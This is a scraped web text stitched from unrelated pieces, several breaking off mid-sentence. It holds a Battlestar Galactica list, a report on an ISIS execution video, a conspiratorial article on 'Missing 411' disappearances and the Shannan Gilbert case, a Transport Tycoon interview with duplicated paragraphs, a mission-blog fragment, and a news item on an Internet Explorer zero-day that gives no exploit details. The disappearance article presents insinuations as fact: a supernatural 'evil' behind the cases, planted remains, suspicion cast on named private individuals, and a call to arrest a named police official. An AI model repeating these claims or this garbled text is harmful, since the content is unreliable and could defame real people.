Roslin shows that she is more than her schoolteacher exterior in this episode where she orders Kara to interrogate Leoben. As soon as Roslin discovers what she needs to know from Leoben, she orders him thrown out an airlock.
9.
No matter what happens, Bill Adama loves Kara like an adopted daughter. He shows her the love, strength, and parental guidance that her own mother never could. She places trust in him that her mother could never earn. When she feels lost, alone, and unsure of who or what she is following, she seeks guidance from Adama. In a moment that never fails to make me verklempt, he tells her, “I know what you are. You’re my daughter. Don’t forget it.”
10.
Lastly, I present to you Fat Lee, without comment. The emotion on his little piggy face says a thousand words.
Honorable Mention:A new video released by the so-called Islamic State's affiliates in Libya purports to show the killing of two groups of Ethiopian Christians.
The 29-minute video shows two groups of captives held by the Islamic State (IS, formerly known as ISIS/ISIL), described by onscreen text as "followers of the cross from the enemy Ethiopian Church." It says one group is being held by an ISIS affiliate in eastern Libya and the other in the south of the country. Each group has about 15 captives.
READ MORE: Egypt eyes revenge after ISIS executes 21 Copts, releases video
A spokesman for the Ethiopian government said he cannot confirm his country's citizens were the ones killed in the video."We have seen the video but our embassy in Cairo has not been able to confirm that the victims are Ethiopian nationals," Redwan Hussein told Reuters. "Nonetheless, the Ethiopian government condemns the atrocious act."
In the video, a masked fighter brandishes a pistol, threatening Christians must convert to Islam or pay with their lives. He describes Christians as crusaders whose goal is to kill Muslims. The footage then shows both groups of captives being killed by the terrorists, one group is beheaded and the other shot dead.
The new video bears similarities with another one, released in February, where militants beheaded 21 Egyptian Christians. Both videos were stamped with the logo of Islamic State's media wing, Al-Furqan.
IS managed to gain a foothold in Libya amid the chaos and infighting following the end of Muammar Gaddafi's regime. They have been using the internet to spread their message, often in the form of videos showing the killings of those they deem "enemies
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PS denied Paulides first FOIA request for the Arras case, he appealed and was denied again. He then got a call from the NPS asking why he wanted the files. Paulides asked whether Arras was a missing person case or a criminal investigation, to which the NPS agent replied she was a missing person case. The agent then confirmed that there were no suspects, and no one has even looked at the case in twenty years. Nevertheless, he told Paulides that he will never see the case.(42 – 6:49 – 9:48)
The Park Service answered Paulides’ FOIA request in the same manner concerning the case of 30-year-old George Penca (43 – 33:20). Penca seemingly vanished into thin air on June 20, 2011 when, after tiring, he fell behind his church group as they were descending the Upper Yosemite Falls Trail.
The three and half mile long trail winds its way 2,500 feet up an almost vertical cliff ending at the tallest waterfall in North America. It may very well be Yosemite’s biggest tourist attraction. It is heavily-trafficked and is in full view of Yosemite village. Outside of plunging to one’s death on the rocks below, there is no way off it. A dozen helicopters, seventy-four ground teams and six search dogs failed to produce Penca’s body, or any other sign of him.(44)
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Jaryd Atadero
Three year old Jaryd Atadero vanished from the Big South trail in Poudre Canyon, Colorado on October 2, 1999. He was hiking with a Christian singles group that was staying at his father’s lodge; a well known Christian retreat.
Somehow Jaryd got ahead of the party of twelve, and the last people to see him alive were two men fishing in the Cache la Poudre River. The fishermen claim he was still within sight of his group when he asked them if they had seen any bears in the area. They told him to get back with his group and kept fishing.
Four teams of tracking dogs could find no trace of him, and during the search, an Air Force helicopter crashed, injuring its five occupants.
His remains wouldn’t be found until four years later and over five hundred feet above the trail he disappeared on, in a place only accessible by scrambling on all fours up a steep incline most adults couldn’t climb. It was tentatively blamed on a mountain lion, but multiple cougar experts brought in by the boy’s father said that wasn’t likely, based on the absence of damage to the sweater near the stomach and neck.
Strange scratches were found on the cranium. The forensic experts consulted by Paulides are unable to identify their source, but unanimously concur that they were not made by any animal (45 – 45:46 – 49:37).
Many of the children who are found have been severely scratched on their skin.(46 – 1:14:47)
The search for little Jaryd was a media event right from the start. But according to Allyn Atadero, Jaryd’s father who wrote the book Missing which recounts it, it was badly, if not deliberately, botched. Jaryd had disappeared in forestland under the jurisdiction of the federal government. Inconsistent with past policy in the thousands of cases investigated by Paulides the FBI refused to get involved or even to send an observer.
During the search, the Atadero family was inexplicably threatened with arrest by the sheriff if they set foot on the Big South Trail. A sheriff’s official saw fit to tell the already distraught Allyn that his son’s body was beneath the freezing waters of the river and wouldn’t be found for four years.
When Allyn checked what the dog handlers were using as an example of Jaryd’s scent he found it was a pair of his own shorts. When he asked how they could mistake a grown man’s shorts for a three-year-old’s, the man in charge of the search and rescue operation became annoyed and threatened to call it off right then and there. Throughout, the sheriff and rescue workers maintained that the Big South Trail was the only way in and out of the valley. Allyn would find out later that there were several other routes.
Jaryd’s remains were found on June 4, 2003 by some hikers. They were lying out in the open. Allyn suspects they had been placed there to be found. The colors of the sneakers were still vibrant and his tooth was on top of a decaying log when it should have been submerged in humus accumulated in over four years in the wilderness.
The sweat pants had been found inside out yet when the sheriff held his press conference they had been turned right side out for display to the media. When Allyn objected he was ignored and the sweat pants left that way.
The tooth could have been placed there by a rodent.
But there is no logical explanation for this sneaker appearing like this after being exposed to the elements nine thousand feet up in the Rockies for four years.
The tooth, cranium and clothes were sent to the Colorado Bureau of Investigation (CBI) for DNA analysis.
No blood was found on the clothing and the CBI claimed the degraded cranium only allowed for an 85% return. Identification of the tooth was also inconclusive because testing showed the DNA was mixed with other DNA.
A DNA expert from Ohio privately enlisted by Allyn later told him the tooth was contaminated with more than one person’s DNA. All items undergoing DNA tests are supposed to be routinely cleaned prior to testing to avoid just such contamination.
Hair fibers that were found on the boy’s sweater were also analyzed, but no test results were ever released.
All Allyn has ever been told was that the hairs were non-human, not a Mountain lion and that he shouldn’t worry about it.(47)
Many of Paulides’ readers have remarked that the phenomenon seems to target Christians (“religious” people) and military personnel.(48 – 1:12:18)
_________
Bobby Bizup
About twenty miles south of the Jaryd Atadero tragedy, a generation before it, and again in Rocky Mountain State Park, 10-year-old Bobby Bizup vanished on the evening of August 15, 1958.
He was staying at Camp Saint Malo, a Roman Catholic boys retreat at the foot of Mount Meeker.
He was the only son of master sergeant Joseph Bizup, who was stationed at Lowry Air Force Base in Denver at the time.
In spite of a massive search, including bloodhounds and airplanes, the only sign of Bobby found that year was his bait box about a mile from the creek where he was last seen by his counselor, fishing (49).
The following year, some of his bones and his hearing aid were found three miles up Mount Meeker, all the way at the timber line.(50)
On Friday August 13, before his Sunday mass in Denver celebrating World Youth Day on August 15, 1993, Pope John Paul II visited the St. Malo Retreat Center (51).
He was helicoptered in and spent two hours alone on the trail that Bobby Bizup disappeared on.(52 – 1:14:29)
_________
Only on Long Island could a handful of well to do politically-connected dilettantes simply appropriate for themselves the choicest part of a legendarily scenic state park, mar it with McMansions that were certain to erode the ecological system of a bay vital to an entire nation’s food supply, then erect gates and use the state police to privatize their commandeered land.
I was there. I worked for Bob Matheson who owned the Oak Beach Inn (OBI) South when they forced him to shut it down because it was a “nuisance” having all those young people on the beach bordering “their property.”
To young people living on the west end of Long Island, the OBI South was the place to go on a Sunday afternoon or on any evening where you felt the need to see or be seen, while having a beer or sipping a pina colada by the seaside. Thousands would throng its expansive dock, tailgate on its cavernous parking lot and mill around the beach it was built on, just to watch the sunset over Fire Island Inlet.
_________
The Mystery of Shannan Gilbert
Long Island was different then, thirty years ago. Oak Beach was the personification of its seaside innocence and yearning for life. It wasn’t, in the words of Shannan Gilbert’s mother, “an evil dirty place.” Now, “It’s isolated. It’s desolate. It’s a rich community. You’ve got doctors and cops and very very wealthy people who live there. No one’s ever going to think that that’s a bad dangerous area. But it is.”(53 – 0:16)
Sometime around midnight of Walpurgis Eve 2010, Shannan Gilbert, a twenty-four year old call girl, left Manhattan and took the last ride of her life in Michael Pak’s SUV. They would have got off Ocean Parkway where the OBI south once stood and gone left about a half mile down the pitch black Oak Beach Road till they got to the gate and someone let them in. Pak, her regular driver to escort appointments, says it was Oak Beach resident Joseph Brewer and they followed his car to his house (54 – 2:32).
Brewer admits to hiring her but says it was not for sex (55 – 27:28). Brewer and Pak’s stories collaborate and they both passed lie detector tests but sociopaths laugh at lie detector tests.
At 4:51 a.m., Shannan made a terrified 911 call from her cell phone that for reasons that are unclear to this day was transferred to the state police who no longer have jurisdiction in Oak Beach (56 – 9:02).
Although she was on the phone twenty-three minutes screaming “their trying to kill me” the 911 operator was unable to get her location. Two male voices that have been identified as Pak and Brewer can be heard in the background.
Shannan then showed up banging on the door of Oak Beach resident of over thirty years, Gus Colletti.
Colletti, perhaps not coincidentally, comes across as the only witness in the CBS 48 Hours news investigation who is not being disingenuous. According to Colletti he opened the door. “And I said to her … ‘What’s the matter?’ She wouldn’t answer me. She just kept staring at me and going, ‘Help me, help me, help me.’ I reached over and grabbed that phone, dialed 911. When I said to her, ‘I called the police. Sit down in that chair. They’re on their way.’ She just looked at me and she ran right out the door.”
When Colletti followed her outside he saw her cowering under his boat in the driveway. He says “I could see a car coming down the road very slowly … would stop and then go a little bit. Stop, go a little bit.” Colletti ran up to the car and confronted the driver; Michael Pak, asking him ‘Where do you think you’re going?’ Pak replied that he was looking for Shannan and Colletti told him ‘Well, I called the police … they are on their way to bring her back,’ to which Pak replied ‘You shouldn’t have done that.’ Colletti answered ‘Well, I did.’ At this point Shannan bolted from under the boat and into the darkness. Pak drove off after her ignoring Colletti’s shouts for him to stop.(57 – 7:07)
Pak claims that they had been at Brewer’s house for about three hours when Brewer came out and got him. When he went in Shannon was “freaking out” and accused them both of trying to kill her. She then went behind the couch and crouched down. Pak says he followed her and asked her if she had seen the movie Fear and Loathing In Las Vegas. She replied coherently and at that point he says he realized she wasn’t high.
It was then he heard the 911 operator on her phone and he thought Shannan might be trying to set him up. So he left. When he was outside he saw her run out of the house and tried to follow her. From there his story match’s Colletti’s. With him giving up and leaving when he couldn’t find her after pursuing her from Colletti’s house.(58 – 56:39)
The next 911 call came from Oak Beach resident Barbara Brennan, who says Shannan showed up banging at her door at 5:21. But neither Shannan nor Pak was anywhere to be found by the time the Suffolk County Police Department (SCPD) got there at 5:40. SCPD was unaware of Shannan’s initial panicked 911 call received by the state police and wouldn’t find out about it for at least a month. So when they didn’t see Shannan or Pak, SCPD assumed they had left together.
Two days later on Monday May 3 at 1:42 PM, Oak Beach resident Dr. Charles Peter Hackett made a phone call to Shannan’s mother Mari (59 – 31:34). Mari says that Dr. Hackett told her Shannan had been staying at his house in Oak Beach which doubled as a halfway home for wayward girls. Dr. Hackett told her that Shannan had been agitated, so he had sedated her and she had left with her driver.
Dr Hackett at first denied making the call but after 48 Hours dug up the phone records he wrote 48 Hours’ investigative journalist Erin Moriarty a series of letters claiming he hadn’t said he had seen Shannan nor did he say he ran a halfway house out of his home. He was just trying to help. According to him, he had become involved after meeting with her family and Pak and Shannan’s boyfriend Alec, when they came looking for her in the ensuing days.(60 – 30:36)
But Alec did not even realize Shannan was missing until Sunday night (61 – 6:06). Shannan’s family only came to Oak Beach to look for her eight days later (62 – 4:38) after SCPD refused to take the case seriously and made them file the missing persons report in New Jersey where Shannon lived.(63 – 8:25)
In August, under relentless pressure from Shannan’s family and their pit-bull of a lawyer, John Ray, SCPD finally got around to interviewing Gus Colletti (64 – 9:14). By December they began their search for her and on the eleventh a K9 team working its way down Ocean Pkwy, less than three miles from where Shannan had last been seen, turned up the first body. In the following days they found three more in the same area within five hundred feet of each other. All of them had been asphyxiated, wrapped in roll off burlap used by landscapers and dumped haphazardly a few feet from the road in marshland bordering one of the most crowded beaches in the world.(65 – 11:26)
All of the dead were call girls, petite, attractive and White, between the ages of twenty-two to twenty-seven, who had advertised their services on Craig’s List just like Shannon Gilbert. But none of them were Shannan Gilbert. The girls had all disappeared between 2007 and 2010.
In March of 2011 the remains of six more bodies were found by SCPD in the marshes bordering Ocean Pkwy between where the first four were found and Oak Beach where Shannan disappeared. Only one could be identified. She was a twenty-year-old escort who had gone missing back in 2003. One was a baby girl and another a slightly-built Asian man dressed in woman’s clothes. The rest were women. Again none of them were Shannan.(66 – 25:48)
It wouldn’t be until December that SCPD would finally find the first sign of Shannan. Her pocketbook, jeans and shoes were found just about in the driveway of a house on Hatch Way Street. A week later and about a quarter of mile from where they found her clothes, less than a hundred feet from Ocean Pkwy, Shannan’s rotted corpse was found face down in the marshes.(67 – 33:29)
Unlike the other four call girls, two of which were dead longer than Shannan, the Suffolk County coroner was unable to determine a cause of death for Shannan. Case closed for SCPD. Former Suffolk County Chief of Detectives Dominick Varrone says Shannan died of “fatigue and exhaustion” after becoming lost in the marsh grass a hundred feet from the well lit and heavily-trafficked Ocean Pkwy.
Varrone insists over and over again that her panicked flight was drug induced, and she shed her clothes because it is easier to run through razor sharp marsh grass naked.
The fact that he found eleven dead bodies while searching the area she disappeared in, nine of girls exactly like Shannan, doesn’t sway his conclusions in the least.(68 – 34:11)
Varrone also says that Dr. Hackett is not a suspect. Although he admits that Dr. Hackett might have made that phone call Varrone feels that Dr. Hackett is just a busybody who is prone to exaggeration (69 – 32:10). When pressed by Erin Moriarty about the nature and timing of Dr Hackett’s call Varrone actually accuses the victim’s bereaved family of lying and then claims that SCPD did not know about the phone call till months later. The call and the details of it are contained in the New Jersey missing persons report made two days after Shannan disappeared.(70 – 37:08)
Shannan Gilbert was a resident of New Jersey. Her strange death is clearly the FBI’s case. She crossed state lines to commit an act of prostitution, which facilitated her death in circumstances that are more than a little suspicious. Perhaps they can start by arresting Varrone, if not for deliberately ignoring the best lead he had on the investigation of at least 11 homicides, then for criminal incompetence. All the evidence they need is right on the internet due to CBS’ crack piece of investigative journalism: “48 HOURS” UNCOVERS MISSING ESCORT SHANNAN GILBERT’S FINAL MINUTES.(71)
If that’s not enough; before the conclusion of this piece right before Christmas, Newsday miraculously managed to obtain a report on the autopsy. Shannan’s autopsy, just like a full transcript of her desperate 23-minute 911 call to the police, has been kept from the media at all costs by local law enforcement. Shannon Gilbert’s remains tested negative for drugs and parts of her fingers and toes had been eaten off. There was also a small piece of her neck bone missing.(72)
Back in September, renowned forensic pathologist Dr Michael Baden, at the request of Shannan’s Family and their attorney John Ray, asked the Suffolk County coroner for Shannan’s body. Apparently they had seen this report, or parts of it, and Dr Baden wants to take a closer look at her hair and bones for drugs. He also wants to take a good look at her larynx and windpipe. Turns out the missing piece of her neck is the Hyoid bone. Coincidentally, a fractured Hyoid bone is the primary determinate for a coroner in detecting strangulation in skeletal remains.
Dr. Baden’s credentials include being the former Chief Medical Examiner of New York City and former chief forensic pathologist for the New York State Police. While serving in these prestigious positions, he participated in the investigation of more than 3,000 homicides, suicides and drug deaths, including the deaths of President John F. Kennedy and the Reverend Martin Luther King Jr. By law, the Suffolk County coroner must turn Shannan’s body over to Dr. Baden.(73)
The coroner’s office has now agreed to release Shannan’s remains to a Long Island funeral home that will turn them over to Dr. Baden for independent autopsy but not before someone coughs up sixteen thousand dollars. They say that will be the minimal amount for a funeral, headstone and burial plot.(74)
All over the world people simply ‘vanish into thin air.’ The saying itself is a platitude.
There are geographic pockets where it happens with alarming regularity. Some like the Bermuda Triangle are part of human folklore. Others like Myrtle Beach in South Carolina and America’s national park system are popular tourist destinations. Even when the missing turn up, no explanations are ever forthcoming.
An evil stalks the human race, an evil with millennia of practice at remaining invisible. But if you know where to look you will see the footprints of evil.
_____________
Originally published December 27, 2014
Other selected works by Jack Heart:
Black Sun Rising
Behind the Bush: Aleister Crowley, Yeats, the Anti-Christ and Armageddon
MK Ultra – Cybernetic Mutation, Remote Controlled Slaves, Dragon Soldiers and a Zombie Empire; Paint it Blue…
_________
Citations
1 – “Cullen Finnerty Autopsy Updated.” ESPN College Football. Associated Press, 8 Aug. 2013. Web. 30 Nov. 2014.
2 – Bishop, Greg. “Questions Linger About Death of Former Quarterback.” College Football. The New York Times, 8 June 2013. Web. 30 Nov. 2014.
3 – “Cullen Finnerty, Former Grand Valley QB, Had Brain Trauma, Died of Pneumonia.” WZZM 13 ONLINE. WZZM13abc, 8 Aug. 2013. Web. 3 Dec. 2014.
4 – “A NEW! Missing 411 W David Paulides 11/10/2014 Interview. (21:07).”YouTube. FritzCayoVids, 16 Nov. 2014. Web. 30 Nov. 2014.
5 – Bishop, Greg “Questions Linger About Death of Former Quarterback.” College Football. The New York Times, 8 June 2013. Web. 21 Dec. 2014.
6 – “Missing 411 New Interview September 22, 2014 with Dave (32:40).” You Tube. FritzCayoVids, 26 Sept. 2014. Web. 21 Dec. 2014.
7 – Starr, Douglas. “What Your Cell Phone Can’t Tell the Police.” The New Yorker. 26 June 2014. Web. 21 Dec. 2013.
8 – Jackson, Angie. “Amber Rose Smith Found Nearly 2 Miles from Home, Survived 45-degree Night in Woods.” MLive. MLive Media Group, 9 Oct. 2013. Web. 21 Dec. 2014.
9 – “David Paulides Missing 411 The Devil’s in the Details Sept 7 2014 (48:04).” Paranormal Central. 8 Sept. 2014. Web. 21 Dec. 2014.
10 – “3 Missing 411 Interviews in One, David Paulides at His Best! (57:46).” FritzCayoVids. YouTube, 14 Oct. 2014. Web. 21 Dec. 2014.
11 – “Missing 411 New Interview September 22, 2014 with Dave (47:03).” FritzCayoVids. YouTube, 26 Sept. 2014. Web. 21 Dec. 2014.
12 – “The CanAm Missing Project.” 1 Jan. 2014. Web. 21 Dec. 2014.
13 – “Coast To Coast AM – May 18, 2014 More Missing People (24:46).” Conflict May. Coast To Coast AM, 18 May 2014. Web. 21 Dec. 2014.
14 – Cockle, Richard. “Lost in Oregon: Hiker’s 2012 Disappearance Joins Hundreds of Unsolved Wilderness Cases.” OREGONLIVE. The Oregonian, 8 June 2013. Web. 21 Dec. 2014.
15 – “3 Missing 411 Interviews in One, David Paulides at His Best! (42:50).” FritzCayoVids. YouTube, 15 Oct. 2014. Web. 21 Dec. 2014.
16 – “Lost Boy Found Asleep In Gully.” Spokane Daily Chronicle. Google News, 25 Sept. 1964. Web. 21 Dec. 2014.
17 – “Body Found in Colorado Confirmed as Missing Local Doctor.” WSBT-TV Report. WSBT22, 3 Apr. 2014. Web. 21 Dec. 2014.
18 – “David Paulides Missing 411 The Devil’s in the Details Sept 7 2014 (1:12:32).” Paranormal Central. 8 Sept. 2014. Web. 21 Dec. 2014.
19 – “3 Missing 411 Interviews in One, David Paulides at His Best! (21:04).” FritzCayoVids. YouTube, 14 Oct. 2014. Web. 21 Dec. 2014.
20 – “A NEW! Missing 411 W David Paulides 11/10/2014 Interview. (24:18).” FritzCayoVids. YouTube, 16 Nov. 2014. Web. 21 Dec. 2014.
21 – “3 Missing 411 Interviews in One, David Paulides at His Best! (14:00).” FritzCayoVids. YouTube, 15 Oct. 2014. Web. 21 Dec. 2014.
22 – “Coast To Coast AM – May 18, 2014 More Missing People (28:53).” Conflict May. YouTube, 26 Sept. 2014. Web.
23 – “3 Missing 411 Interviews in One, David Paulides at His Best! (1:08:39).” FritzCayoVids. YouTube, 15 Oct. 2014. Web. 21 Dec. 2014.
24 – Cosgrove, Jaclyn. “Lost Oklahoma Woman Found Alive in Arkansas Woods.” NewsOK. 27 Sept. 2012. Web. 21 Dec. 2014.
25 – Russell, Linda. “Woman Lost in Woods for 5 Days Tells Her Story.” KY3. 28 Sept. 2012. Web. 21 Dec. 2014.
26 – Wellman, Victoria. “Missing Woman Found in Woods Five Days after Brother Took Her There to Teach Her Survival Skills – and Then Lost Her.” Daily Mail. 28 Sept. 2012. Web.
27 – Russell, Linda. “Woman Lost in Woods for 5 Days Tells Her Story.” KY3. 28 Sept. 2012. Web. 21 Dec. 2014.
28 – “Missing Kids of Missing 411 (new) Oct 29, 2014. (16:42).” FritzCayoVids. YouTube, 30 Oct. 2014. Web. 21 Dec. 2014.
29 – “Insists Bear Kidnapped Tot.” The Times-News. Google News, 5 July 1955. Web. 21 Dec. 2014.
30 – “Where Did The Road Go David Paulides Missing 411 Interview 9 22 13 (54:27).” FritzCayoVids. YouTube, 2 Oct. 2014. Web. 21 Dec. 2014.
31 – Balloch, Jim. “Search in Smokies for Lost Boy, Dennis Martin, Produces Lessons for Future Searches.” Knoxville News Sentinel. 28 June 2009. Web.
32 – Ibid. (video 2:40).
33 – Ibid (video 3:53)
34 – “Where Did The Road Go David Paulides Missing 411 Interview 9 22 13 (1:44:17 – 1:47:09).” FritzCayoVids. YouTube, 2 Oct. 2014. Web. 22 Dec. 2014.
35- Ibid. (14:02 – 19:53)
36 – Ibid (10:08)
37 – Ibid. (1:47:20)
38 – Matheny, Jim. “Dennis Martin: Lost Boy a 45-year Smoky Mountain Mystery.” WBIR.COM. WBIR, 21 May 2014. Web.
39 – “3 Missing 411 Interviews in One, David Paulides at His Best! (7:00 – 9:58).” FritzCayoVids. YouTube, 15 Oct. 2014. Web. 24 Dec. 2014.
40 – Thompson, A.C., Mosi Secret, Lowell Bergman, and Sandra Bartlett. “The Real ‘CSI’: How America’s Patchwork System of Death Investigations Puts the Living at Risk.” Post Mortem Death Investigation in America. Pro Publica, 31 Jan. 2011. Web. 24 Dec. 2014.
41 – “David Paulides Missing 411 The Devil’s in the Details Sept 7 2014 (56:52 – 58:48).” Paranormal Central. YouTube, 8 Sept. 2014. Web. 24 Dec. 2014.
42 – “Where Did The Road Go David Paulides Missing 411 Interview 9 22 13 (6:49 – 9:48).” FritzCayoVids. YouTube, 14 Oct. 2014. Web. 24 Dec. 2014.
43 – “David Paulides Missing 411 The Devil’s in the Details Sept 7 2014 (33:20).” Paranormal Central. YouTube, 8 Sept. 2014. Web. 24 Dec. 2014.
44 – “Search Resumes in Yosemite for Lost Hawthorne Hiker.” L.A. NOW. Los Angeles Times, 20 June 2011. Web. 24 Dec. 2014.
45 – “Coast To Coast AM – May 18, 2014 More Missing People (45:46 – 49:37).” Conflict May. YouTube, 26 Sept. 2014. Web. 24 Dec. 2014.
46 – “3 Missing 411 Interviews in One, David Paulides at His Best! (1:14:47).” FritzCayoVids. YouTube, 15 Oct. 2014. Web. 24 Dec. 2014.
47 – “Jaryd Atadero.” CANAM Missing PROJECT, 1 Jan. 2014. Web. 24 Dec. 2014.
48 – “Coast To Coast AM – May 18, 2014 More Missing People (1:12:18).” Conflict May. YouTube, 26 Sept. 2014. Web. 24 Dec. 2014.
49 – “Bloodhounds Join Hunt For Missing Boy.” Earth Archives. Chicago Daily Tribune, 19 Aug. 1958. Web. 24 Dec. 2014.
50 – “Remains Of Lost Boy Are Located.” Sarasota Journal. Google News, 9 July 1959. Web. 24 Dec. 2014.
51 – Aguilar, John. “St. Malo’s Future Uncertain 20 Years after Papal Visit.” Daily Camera Boulder County News. 13 Aug. 2013. Web. 24 Dec. 2014.
52 – “Coast To Coast AM – May 18, 2014 More Missing People (1:14:29).” Conflict May. YouTube, 26 Sept. 2014. Web. 24 Dec. 2014.
53- “The Long Island Serial Killer – Uncaught Psychopath Terrorizing NY (Crime Documentary) (0:16).” Damoviez. YouTube, 7 May 2014. Web. 24 Dec. 2014.
54 – Ibid (2:32)
55 – ““48 Hours” Uncovers Missing Escort Shannan Gilbert’s Final Minutes (27:28).” Forty Eight Hours. CBS News. Web.
56 – Ibid (9:02)
57 – Ibid (7:07)
58 – “The Long Island Serial Killer – Uncaught Psychopath Terrorizing NY (Crime Documentary) (56:39).” Damoviez. YouTube, 7 May 2014. Web. 24 Dec. 2014.
59 – ““48 Hours” Uncovers Missing Escort Shannan Gilbert’s Final Minutes (31:34).” Forty Eight Hours. CBS News. Web.
60 – Ibid (30:36)
61 – “The Long Island Serial Killer – Uncaught Psychopath Terrorizing NY (Crime Documentary) (6:06).” Damoviez. YouTube, 7 May 2014. Web. 24 Dec. 2014.
62 – ““48 Hours” Uncovers Missing Escort Shannan Gilbert’s Final Minutes (4:38).” Forty Eight Hours. CBS News. Web.
63 – “The Long Island Serial Killer – Uncaught Psychopath Terrorizing NY (Crime Documentary) (8:25).” Damoviez. YouTube, 7 May 2014. Web. 24 Dec. 2014.
64 – Ibid (9:14)
65 – Ibid (11:26)
66 – ““48 Hours” Uncovers Missing Escort Shannan Gilbert’s Final Minutes (25:48).” Forty Eight Hours. CBS News. Web.
67 – Ibid (33:29)
68 – Ibid (34:11)
69 – Ibid (32:10)
70 – Ibid (37:08)
71 – Ibid
72 – LOPEZ, TANIA. “Shannan Gilbert Autopsy Finds No Drugs in Her System, According to Report.” Newsday, 10 Dec. 2014. Web. 25 Dec. 2014.
73 – Corbin, Cristina. “Famed Coroner Baden Seeks to Autopsy Remains of Craigslist Escort.” Crime & Courts. FOX News, 18 Sept. 2014. Web. 25 Dec. 2014.
74 – LOPEZ, TANIA. “Shannan Gilbert Family Seeks Donations to Pay for Her Burial.” Newsday, 18 Dec. 2014. Web. 25 Dec. 2014.
________________cimg09 The Patcher Pitcher
October 2013, by La Mimita Chiquita
The story of a community coder!
'I wasn't allowed to touch his computer at all'
We're of course talking about patch packs, mostly sharing the common denominator of generally being a one man development process. In other words, they are usually designed and constructed by one person to be used by anyone who wants a little bit more challenging games than what the more or less "official" versions are able to offer. But none of this is obviously done in a jiffy! It requires some extraordinary skills and ideally also a design that appeals to a larger group of users, which in the end increases the responsiveness and motivation to both continue and further improve what is already done. So with that said, what is the recipe for a successful patch pack concept? Well, one person that obviously should know is ChillCore, up to this point serving version 14.7 of his rather huge patch pack, released earlier this year and consisting of nearly 50 other smaller patches and game scripts developed by other devoted fans in the community.
Starting his career at early ages ChillCore became very impressed by his fathers Spectrum ZX81, a device produced by Sinclair Research, which he wasn't allowed to touch at all as ChillCore explains;
-"Those machines used to be quite expensive, but I settled down with the manual instead, reading it from the first page to the last over and over again. The device itself contained a little slalom game, nothing fancy graphical wise, but it was awesome to view text you entered on the screen performing certain tasks such as speeding up the game and making it harder as you added more and more obstacles to it"!
His father later on got a VIC-20, a less expensive 8-bit home computer released by Commodore, but things Unlike Chris Sawyer's original version of Transport Tycoon Deluxe, todays range is considerably greater for those who wants to go ahead as a successful CEO of a fictitious company in the freight and passenger transportation industry. And while a few still chooses Josef Drexler's TTDPatch for their ultimate gaming experience, a vast majority nowadays leans towards the open source version, OpenTTD, both of them offering far more than what the original game ever touched. But there is always that clique of users who aren't satisfied with these options at all, instead eager to try out even greater challenges - or rather more specific solutions for their ultimate gaming experience. The more complicated, the better it may seem! And if you happen to be one of those preferring the latter there are a number of choices out there, all thanks to some especially devoted and diehard fans in the Transport Tycoon community.We're of course talking about patch packs, mostly sharing the common denominator of generally being a one man development process. In other words, they are usually designed and constructed by one person to be used by anyone who wants a little bit more challenging games than what the more or less "official" versions are able to offer. But none of this is obviously done in a jiffy! It requires some extraordinary skills and ideally also a design that appeals to a larger group of users, which in the end increases the responsiveness and motivation to both continue and further improve what is already done. So with that said, what is the recipe for a successful patch pack concept? Well, one person that obviously should know is ChillCore, up to this point serving version 14.7 of his rather huge patch pack, released earlier this year and consisting of nearly 50 other smaller patches and game scripts developed by other devoted fans in the community.Starting his career at early ages ChillCore became very impressed by his fathers Spectrum ZX81, a device produced by Sinclair Research, which he wasn't allowed to touch at all as ChillCore explains;His father later on got a VIC-20, a less expensive 8-bit home computer released by Commodore, but things
'I learned where my limitations are'
-"I kept reading books by the masses and had various consoles, most of them ending up with a burnt graphics processor as I pushed the limits in every game possible. But I still couldn't compile programs until I found JavaScript, which allowed me to continue from where I left off back in the days of BASIC".
He also messed around with different freeware programs as well as a few paid softwares, trying to learn the ins and out of creating graphics, music and everything else that is needed to actually make a site. But facing a lack of interesting content he eventually turned it into a HTML/DHTML/JavaScript tutorial with links to a
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with some weeds of untruth, but they are closer to the Kingdom of Jesus than ever before!
Just as weeds or unproductive plants need to be tilled up before new seeds can spring to life, the soil must also be tilled in the hearts of Muslims for the Gospel to be planted. Pray God will send out more laborers among Muslims who will take on “weed duty.”
YOUR TURN: It is not only Muslims who have "weeds" which must be pulled out before the seeds of Gospel truth can take root. What "weeds" do you encounter among those with whom you are sharing Christ's love?
"Anna" blogs about friendship, culture, and Kingdom-living from her home in the Middle East. She loves Jesus and wants to see Him cherished by her neighbors and people everywhere. Anna will be posting on the Persecution Blog each month. Feel free to ask questions or suggest future topics in the comments section for this post. Anna is a pseudonym, and all names in her posts are changed for security reasons.Zero-day exploit targets IE; some researchers advise switching browsers
Some security experts are urging individual and enterprise users running Internet Explorer to switch to another browser for now, in the face of a new zero-day exploit affecting IE.
Security researcher and blogger Eric Romang discovered a new zero-day exploit over the weekend that targets multiple versions of IE, which runs on about 40 percent of the computers in North America.
Microsoft, in an advisory, said the vulnerability affects Internet Explorer 6, 7, 8 and 9 (but not IE 10) running on just about any Windows operating system. But the company noted that on Windows Server 2003, 2008 and 2008 R2, the browser runs in a restricted configuration that mitigates the vulnerability.
Related coverage:
Time to give up on Java?
Not surprisingly, Microsoft does not recommend switching from IE. It recommends installing the Enhanced Mitigation Experience Toolkit, a limited support utility that helps prevent exploitation of vulnerabilities but which is available only in English. It also recommends setting Internet security settings to high to block ActiveX controls and Active Scripting. A full patch is expected sometime in the next week.
Meanwhile, some in the security community are recommending that users abandon the popular IE browser, at least until a fix is available.
“Internet users are strongly advised to switch to other browsers, such as Chrome or Firefox, until a security update becomes available,” recommended Metasploit, developer of the open-source penetration testing tool. “The exploit had already been used by malicious attackers in the wild before it was published.”
The exploit can download the code to a vulnerable computer visiting a malicious Web site.
The news comes just weeks after a zero-day exploit for Java 7 hosted on the same server raised the question of whether the risks of running Java outweighed the benefits. Oracle addressed that vulnerability with an unusual out-of-cycle patch, but the popularity of Java with hackers and its ubiquity in browsers had many in the security community recommending that it be at least turned off in the browser, if not removed from computers.
The Java flaw was being exploited by a hacker group apparently based in China, which Symantec had dubbed the Nitro gang, that in 2011 had attacked systems in the chemical industry and some defense contractors, researchers said. Romang said the IE exploits were possibly from the same group.
So is it time to get rid of Internet Explorer? There are those who have long advocated for other, supposedly more secure, browsers who undoubtedly will say yes. Microsoft still has a commanding market share, with IE 9 claiming a quarter of the North American market as of August, and IE 8 about another 14 percent. But Chrome has a strong 21 percent and Firefox comes in with about 14 percent, according to StatCounter global stats.
